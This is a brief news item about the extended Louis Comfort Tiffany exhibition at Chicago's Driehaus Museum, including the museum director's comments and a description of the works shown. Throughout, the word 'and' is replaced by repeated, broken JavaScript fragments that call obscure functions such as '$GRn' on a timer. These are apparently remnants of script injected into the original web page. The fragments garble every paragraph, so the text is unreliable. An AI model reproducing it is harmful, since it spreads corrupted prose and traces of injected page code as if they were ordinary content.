CHICAGO, ILL. — “Louis Comfort Tiffany: Treasures from the Driehaus Collection” has been extended until January 4 at the Richard H. Driehaus Museum.
“As a result of the exhibition’s popularity, the museum has seen an increase in overall visitation of more than 50 percent andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and significant growth in our private group tours,” said museum director Lise Dubé-Scherr. “I am delighted our first exhibition has garnered so much interest from guests. It clearly demonstrates that the public’s fascination with the works by Louis Comfort Tiffany remains high andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and that they continue to resonate with today’s audiences. I am so pleased we are able to extend the exhibition. It will afford even more visitors the opportunity to view this beautiful selection of works from Richard H. Driehaus’ Tiffany collection.”
More than 60 works by Louis C. Tiffany andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and his associated firms include lamps, stained glass windows, vases, metalwork andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and furnishings. Four new objects have been added to the collection, including a unique Spider Web lamp andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and a delicate Poppy Filigree lamp. The interiors of the museum have been immaculately restored, which were once the grandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Gilded Age-era residence of Chicago banker Samuel M. Nickerson. The historic gallery settings provide a perfect backdrop for the exhibition andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and create a truly immersive experience for guests.
The Richard H. Driehaus Museum is at 40 East Erie Street. For information, 312-482-8933 or www.driehausmuseum.org.